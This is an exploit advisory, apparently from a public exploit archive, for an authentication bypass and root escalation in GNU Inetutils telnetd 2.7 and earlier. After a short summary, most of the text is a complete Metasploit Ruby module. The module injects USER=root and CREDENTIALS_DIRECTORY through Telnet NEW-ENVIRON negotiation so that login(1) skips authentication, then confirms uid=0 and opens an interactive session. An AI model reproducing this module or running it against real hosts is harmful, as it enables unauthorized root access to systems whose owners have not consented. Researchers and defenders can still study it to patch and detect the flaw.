============================================================================================================================================= | # Title : GNU Inetutils Telnetd ≤ 2.7 Privilege Escalation via systemd Credentials Environment Injection | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://codeberg.org/inetutils/inetutils | ============================================================================================================================================= [+] Summary : A local privilege escalation vulnerability exists in GNU Project GNU Inetutils Telnetd (≤ 2.7) due to improper trust handling of environment variables supplied during Telnet NEW-ENVIRON (option 39) negotiation. The vulnerability becomes exploitable when combined with changes introduced in util-linux 2.40, where login(1) added support for systemd service credentials. Specifically, the CREDENTIALS_DIRECTORY environment variable can influence authentication logic. An unprivileged local user can exploit this condition by: Creating a login.noauth file in an attacker-controlled directory. Forcing telnetd to accept and propagate a malicious CREDENTIALS_DIRECTORY value via Telnet option 39. Triggering login(1) to interpret authentication as already satisfied. Obtaining unauthorized root shell access. The flaw represents a trust boundary misalignment between: Telnet environment variable negotiation systemd credentials handling util-linux login authentication logic Successful exploitation results in authentication bypass and privilege escalation to root. [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Telnet IAC = 255 DO = 253 OPT_NEW_ENV = 39 def initialize(info = {}) super(update_info(info, 'Name' => 'GNU Inetutils Telnetd Systemd Credentials PrivEsc (Hardened)', 'Description' => %q{ This module exploits a Trust Boundary Misalignment between GNU inetutils telnetd and util-linux 2.40+ login(1). The vulnerability exists because telnetd forwards untrusted environment variables (CREDENTIALS_DIRECTORY) to login(1), which may bypass authentication if login.noauth exists in the specified directory. }, 'Author' => [ 'indoushka' ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_ALL, 'DisclosureDate' => 'Feb 15 2026', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ ARTIFACTS_ON_DISK ] } )) register_options([ OptString.new('CRED_DIR', [ true, "Path on target containing login.noauth", '/tmp/exploit_dir']), OptString.new('USER', [ true, "Target user to impersonate", 'root']) ]) reset_state end def reset_state @state = :INIT @output_accumulator = "" @net_accumulator = [] end def check reset_state connect 15.times do buf = sock.get_once(-1, 1) return CheckCode::Unknown("Connection lost during check phase.") unless buf @net_accumulator.concat(buf.unpack('C*')) @net_accumulator.shift if @net_accumulator.length > 100 if @net_accumulator.each_cons(3).any? { |a| a == [IAC, DO, OPT_NEW_ENV] } return CheckCode::Detected("Target strictly supports NEW-ENVIRON (Option 39).") end end CheckCode::Safe rescue CheckCode::Unknown ensure disconnect end def telnet_on_do(option) if option == OPT_NEW_ENV @state = :NEGOTIATING_ENV send_will(OPT_NEW_ENV) end end def telnet_on_sb(option, data) return unless option == OPT_NEW_ENV return if @state == :INJECTED if data && data.bytesize > 0 && data.getbyte(0) == 0x01 @state = :SEND_RECEIVED execute_injection end end def execute_injection vprint_status("Protocol Event: SEND received. Transitioning to Atomic Injection...") payload = construct_payload sock.put(payload) @state = :INJECTED end def construct_payload iac = "\xff"; sb = "\xfa"; se = "\xf0"; is = "\x00"; var = "\x00"; val = "\x01" opt = [OPT_NEW_ENV].pack('C') p = iac + sb + opt + is p << var + telnet_safe("USER") + val + telnet_safe(datastore['USER'].to_s) p << var + telnet_safe("CREDENTIALS_DIRECTORY") + val + telnet_safe(datastore['CRED_DIR'].to_s) p << iac + se p end def telnet_safe(str) str.to_s.gsub("\xff", "\xff\xff") end def exploit reset_state connect begin Timeout.timeout(20) do until @state == :INJECTED buf = sock.get_once(-1, 0.5) unless buf print_error("Connection closed by peer during negotiation.") return end end end rescue Timeout::Error print_error("Negotiation timeout reached. Final state: #{@state}") return end print_status("Variables injected. Verifying root shell access...") root_pattern = /^uid=0\(root\).+gid=0\(root\)/m 30.times do |i| sock.put("id\n") if i % 5 == 0 res = sock.get_once(-1, 1) @output_accumulator << (res || "") if @output_accumulator =~ root_pattern print_good("Access Verified: #{@output_accumulator.match(root_pattern)[0]}") @state = :VERIFIED break end if @output_accumulator =~ /login:|Password:|Incorrect/i print_error("Authentication bypass rejected by target (PAM/secure_getenv).") return end end if @state == :VERIFIED print_status("Identity confirmed. Handing over to interactive session...") handler else print_error("Exploit failed. Shell not confirmed within expected timeframe.") end ensure disconnect unless session_created? end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================